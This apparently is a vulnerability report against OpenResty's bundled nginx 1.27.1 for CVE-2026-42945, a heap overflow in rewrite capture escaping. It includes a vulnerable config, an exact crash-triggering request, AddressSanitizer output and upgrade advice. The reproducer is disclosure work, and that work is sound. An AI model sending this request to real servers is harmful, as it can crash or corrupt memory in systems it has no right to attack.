Bundled nginx 1.27.1 still vulnerable to CVE-2026-42945 (heap overflow in rewrite capture copy)

The nginx bundled in the current OpenResty release line (1.27.1.x) is built on nginx 1.27.1, which predates the fix for CVE-2026-42945. The vulnerable code is present and reachable in a default build (http rewrite module is on by default), so an OpenResty instance using a rewrite + set $var $capture pattern can be made to overflow the heap.

The bug is in the rewrite capture copy. When a rewrite replacement contains ?, e->is_args stays set, and the subsequent capture copy escapes the value with NGX_ESCAPE_ARGS while the destination buffer was sized for the raw (unescaped) capture length. Enough + characters in the captured part then write past the allocation.

Minimal reproducer config:

location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}
location /internal { internal; return 200 "ok\n"; }

Request:

GET /api/<349 'A' chars><969 '+' chars>

Built nginx 1.27.1 with -fsanitize=address; the request gives:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1 ...
  #0 ngx_escape_uri          src/core/ngx_string.c:1661
  #1 ngx_http_script_copy_capture_code  src/http/ngx_http_script.c:1399
  #2 ngx_http_script_run     src/http/ngx_http_script.c:...
... located 0 bytes to the right of a 1318-byte region

The same config and request against nginx 1.30.2 (which contains the upstream fix, commit 524977e7) is handled normally with no overflow.

Fix: bump the bundled nginx to 1.30.2 or later, or backport the upstream patch.